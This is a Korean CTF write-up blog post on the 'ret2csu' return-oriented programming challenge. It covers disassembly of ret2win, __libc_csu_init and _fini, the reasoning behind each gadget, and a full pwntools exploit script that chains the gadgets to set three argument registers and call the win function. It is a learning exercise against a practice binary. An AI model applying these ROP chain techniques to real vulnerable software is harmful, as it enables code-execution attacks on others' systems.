0x00007ffff7c00be5 <+530>: cmp QWORD PTR [rbp-0x28],rax
0x00007ffff7c00be9 <+534>: jne 0x7ffff7c00c64 <ret2win+657>
0x00007ffff7c00beb <+536>: mov rax,QWORD PTR [rip+0x20148e] # 0x7ffff7e02080 <g_buf>
0x00007ffff7c00bf2 <+543>: add rax,0x4
0x00007ffff7c00bf6 <+547>: mov rax,QWORD PTR [rax]
0x00007ffff7c00bf9 <+550>: mov rdx,QWORD PTR [rip+0x201480] # 0x7ffff7e02080 <g_buf>
0x00007ffff7c00c00 <+557>: add rdx,0x4
0x00007ffff7c00c04 <+561>: xor rax,QWORD PTR [rbp-0x18]
0x00007ffff7c00c08 <+565>: mov QWORD PTR [rdx],rax
0x00007ffff7c00c0b <+568>: mov rax,QWORD PTR [rip+0x20146e] # 0x7ffff7e02080 <g_buf>
0x00007ffff7c00c12 <+575>: add rax,0xc
0x00007ffff7c00c16 <+579>: mov rax,QWORD PTR [rax]
0x00007ffff7c00c19 <+582>: mov rdx,QWORD PTR [rip+0x201460] # 0x7ffff7e02080 <g_buf>
0x00007ffff7c00c20 <+589>: add rdx,0xc
0x00007ffff7c00c24 <+593>: xor rax,QWORD PTR [rbp-0x20]
0x00007ffff7c00c28 <+597>: mov QWORD PTR [rdx],rax
0x00007ffff7c00c2b <+600>: mov rax,QWORD PTR [rip+0x20144e] # 0x7ffff7e02080 <g_buf>
0x00007ffff7c00c32 <+607>: add rax,0x14
0x00007ffff7c00c36 <+611>: mov rax,QWORD PTR [rax]
0x00007ffff7c00c39 <+614>: mov rdx,QWORD PTR [rip+0x201440] # 0x7ffff7e02080 <g_buf>
0x00007ffff7c00c40 <+621>: add rdx,0x14
0x00007ffff7c00c44 <+625>: xor rax,QWORD PTR [rbp-0x28]
0x00007ffff7c00c48 <+629>: mov QWORD PTR [rdx],rax
0x00007ffff7c00c4b <+632>: mov rax,QWORD PTR [rip+0x20142e] # 0x7ffff7e02080 <g_buf>
0x00007ffff7c00c52 <+639>: mov rdi,rax
0x00007ffff7c00c55 <+642>: call 0x7ffff7c007a0 <puts@plt>
0x00007ffff7c00c5a <+647>: mov edi,0x0
0x00007ffff7c00c5f <+652>: call 0x7ffff7c00840 <exit@plt>
0x00007ffff7c00c64 <+657>: lea rdi,[rip+0x109] # 0x7ffff7c00d74
0x00007ffff7c00c6b <+664>: call 0x7ffff7c007a0 <puts@plt>
0x00007ffff7c00c70 <+669>: mov edi,0x1
0x00007ffff7c00c75 <+674>: call 0x7ffff7c00840 <exit@plt>
End of assembler dump.
usefulFunction 함수는 ret2win 함수를 호출해주지만 ret2win 함수 내에서 rdi, rsi, rdx를 비교하는 부분이 있어 사용할 순 없을 것 같습니다. ret2win 함수는 인자로 들어온 rdi, rsi, rdx가 0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d인지 체크합니다.
csu가 뭔지 잘 몰라 찾아보니 libc를 init 하는 함수 내에 있는 가젯을 사용하는 것이었습니다.
Dump of assembler code for function __libc_csu_init:
0x0000000000400640 <+0>: push r15
0x0000000000400642 <+2>: push r14
0x0000000000400644 <+4>: mov r15,rdx
0x0000000000400647 <+7>: push r13
0x0000000000400649 <+9>: push r12
0x000000000040064b <+11>: lea r12,[rip+0x20079e] # 0x600df0
0x0000000000400652 <+18>: push rbp
0x0000000000400653 <+19>: lea rbp,[rip+0x20079e] # 0x600df8
0x000000000040065a <+26>: push rbx
0x000000000040065b <+27>: mov r13d,edi
0x000000000040065e <+30>: mov r14,rsi
0x0000000000400661 <+33>: sub rbp,r12
0x0000000000400664 <+36>: sub rsp,0x8
0x0000000000400668 <+40>: sar rbp,0x3
0x000000000040066c <+44>: call 0x4004d0 <_init>
0x0000000000400671 <+49>: test rbp,rbp
0x0000000000400674 <+52>: je 0x400696 <__libc_csu_init+86>
0x0000000000400676 <+54>: xor ebx,ebx
0x0000000000400678 <+56>: nop DWORD PTR [rax+rax*1+0x0]
0x0000000000400680 <+64>: mov rdx,r15
0x0000000000400683 <+67>: mov rsi,r14
0x0000000000400686 <+70>: mov edi,r13d
0x0000000000400689 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040068d <+77>: add rbx,0x1
0x0000000000400691 <+81>: cmp rbp,rbx
0x0000000000400694 <+84>: jne 0x400680 <__libc_csu_init+64>
0x0000000000400696 <+86>: add rsp,0x8
0x000000000040069a <+90>: pop rbx
0x000000000040069b <+91>: pop rbp
0x000000000040069c <+92>: pop r12
0x000000000040069e <+94>: pop r13
0x00000000004006a0 <+96>: pop r14
0x00000000004006a2 <+98>: pop r15
0x00000000004006a4 <+100>: ret
End of assembler dump.
__libc_csu_init 함수를 보면 r15 값을 rdx에 저장하는 것을 볼 수 있습니다.
rbx, rbp, r12, r13, r14, r15 가젯도 존재하여 제가 원하는 값으로 rdx를 맞출 수 있습니다.
하지만 <__libc_csu_init+call> 부분에 있는 [r12+rbx*8] 호출 부분이 문제입니다.
메모리에 적힌 값을 호출하기 때문에 맘대로 단순히 ret 가젯으로 대체할 수 없습니다.
rdx, rsi를 원하는 값으로 넣는 것이 목적이기에 아무 함수를 call 할 수 없고 rdx, rsi를 사용하지 않는 함수를 찾아야 합니다.
pwndbg> disas _fini
Dump of assembler code for function _fini:
0x00000000004006b4 <+0>: sub rsp,0x8
0x00000000004006b8 <+4>: add rsp,0x8
0x00000000004006bc <+8>: ret
End of assembler dump.
찾다보니 _fini 함수가 rdx, rsi를 건들지 않고 ret하기에 해당 함수가 저장되어 있는 메모리를 찾아야 합니다.
그래서 또 메모리를 훑었습니다.

찾다보니 0x600e48 주소에 _fini 함수의 시작 주소가 적혀있는 것을 발견했습니다.
from pwn import *
p = process('./ret2csu')
fini = 0x600e48
pop_chain = 0x40069a
make_rdx = 0x400680
pop_rdi = 0x4006a3
ret2win = 0x400510
dead = 0xdeadbeefdeadbeef
cafe = 0xcafebabecafebabe
d00d = 0xd00df00dd00df00d
payload = b'A' * (0x20 + 8)
payload += p64(pop_chain)
payload += p64(0x0) # rbx
payload += p64(0x1) # rbp
payload += p64(0x600e48) # r12
payload += p64(0x0) # r13
payload += p64(cafe) # r14
payload += p64(d00d) # r15
payload += p64(make_rdx)
payload += p64(0x0) # rsp+0x8
payload += p64(0x0) # rbx
payload += p64(0x0) # rbp
payload += p64(0x0) # r12
payload += p64(0x0) # r13
payload += p64(0x0) # r14
payload += p64(0x0) # r15
payload += p64(pop_rdi)
payload += p64(dead)
payload += p64(ret2win)
p.send(payload)
p.interactive()
다음과 같이 익스를 작성했습니다.
먼저 pop이 연속되는 가젯으로 ret한 뒤 순서한 대로 값을 넣어주었습니다.
[r12 + rbx * 8] 주소의 함수를 호출하기 때문에 rbx를 0으로 두고 r12로 _fini 함수 주소가 적힌 메모리 주소를 넣어주었습니다.
그리고 __libc_csu_init 함수에서 loop를 돌리기 위해 rbx + 1 == rbp 이면 종료하는 부분이 있어 1번만 실행하기 위해 rbp를 0x1로 두었습니다.
그 후 r14, r15로 rsi, rdx 값을 작성해주었지만 edi에 값을 넣는 r13은 0x0으로 주었습니다.
그 이유는 edi에 r13d를 저장하여 r13의 4바이트만 저장하기 때문에 나머지 4바이트는 원하는 값이 아닌 0으로 초기화되기 때문입니다.
그 후 mov rdx, r15로 ret하여 rdx, rsi 값을 지정해주고 _fini 함수를 호출합니다.
마지막에 pop이 다시 연속되는데 더 사용할 필요 없기에 0x0을 주었고 마지막에 rdi를 세팅해줘야 해서 pop rdi 가젯을 사용하여 ret2win 함수를 호출합니다.

후기
맨날 pop rdi 가젯만 써보다가 여러 가젯을 사용해보니 재밌었습니다.
포너블은 너무 어려운 것 같습니다..
'Knights Frontier_1st > CTF | 워게임' 카테고리의 다른 글
| [ Knights Frontier ] CODEGATE 2026 CTF writeup (0) | 2026.04.06 |
|---|---|
| [ Knights Frontier ] Space Alone 올클리어 (2) | 2026.03.29 |
| [ Knights Frontier ] BombLab 올클리어 & 바이너리 패치 수행 (0) | 2026.03.27 |
| [ RED RACCOON ] TI 실전 추적 챌린지 (0) | 2026.01.23 |
| [ Layer7 ] Layer7 CTF write-up (0) | 2025.11.20 |